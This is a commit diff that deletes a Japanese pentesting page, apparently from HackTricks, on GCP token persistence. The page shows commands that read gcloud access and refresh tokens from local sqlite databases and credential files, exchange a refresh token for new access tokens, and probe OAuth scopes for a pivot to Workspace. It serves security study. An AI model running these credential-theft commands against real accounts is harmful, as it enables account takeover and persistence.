Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:37 +00:00
parent 84b7325212
commit 3c1c0d5daa
7 changed files with 74 additions and 199 deletions

View File

@@ -1,90 +0,0 @@
# GCP - トークン持続性
{{#include ../../../banners/hacktricks-training.md}}
### 認証されたユーザートークン
ユーザーの**現在のトークン**を取得するには、次のコマンドを実行できます:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
このページで**gcloudを使用してこのトークンを直接使用する方法**を確認してください:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
**新しいアクセストークンを生成する**ための詳細を取得するには、次のコマンドを実行します:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
**`$HOME/.config/gcloud/application_default_credentials.json`** および **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** にリフレッシュトークンが見つかることもあります。
**リフレッシュトークン**、クライアントID、およびクライアントシークレットを使用して新しいアクセストークンを取得するには、次のコマンドを実行します:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
リフレッシュトークンの有効性は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、期限切れにならないように設定することもできます
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
`gcloud auth login` のようなものを使用する際の認証フローは、ブラウザでプロンプトを開き、すべてのスコープを承認した後、ブラウザはツールによって開かれたhttpポートにこのようなリクエストを送信します
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
その後、gcloudは状態とコードを使用して、いくつかのハードコーディングされた `client_id` (`32555940559.apps.googleusercontent.com`) と **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) を使って **最終的なリフレッシュトークンデータ** を取得します。
> [!CAUTION]
> localhostとの通信はHTTPで行われるため、リフレッシュトークンを取得するためにデータを傍受することが可能ですが、このデータは1回だけ有効であるため、無駄になります。ファイルからリフレッシュトークンを読む方が簡単です。
### OAuthスコープ
すべてのGoogleスコープは [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) で見つけることができます。または、次のコマンドを実行して取得できます:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
このスクリプトを使用すると、**`gcloud`** が認証に使用するアプリケーションがサポートできるスコープを確認できます:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
実行後、このアプリがこれらのスコープをサポートしていることが確認されました:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
このアプリが**`drive`**スコープをサポートしているのは興味深いことであり、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートすることが可能になります。
**こちらで** [**この方法を悪用する方法を確認してください**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**。**
### サービスアカウント
認証されたユーザーと同様に、サービスアカウントの**プライベートキーのファイルを侵害することができれば、通常は好きなだけ**アクセスすることができます。\
しかし、サービスアカウントの**OAuthトークンを盗むことができれば、さらに興味深いことになります。なぜなら、デフォルトではこれらのトークンは通常1時間だけ有効ですが、**もし**被害者がプライベートAPIキーを削除した場合、OAuthトークンは有効期限が切れるまで有効であり続けるからです**。
### メタデータ
明らかに、GCP環境で実行されているマシン内にいる限り、**メタデータエンドポイントに連絡することで、そのマシンに付随するサービスアカウントにアクセスすることができます**このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください
### 修正策
これらの技術に対するいくつかの修正策は、[https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)に説明されています。
### 参考文献
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}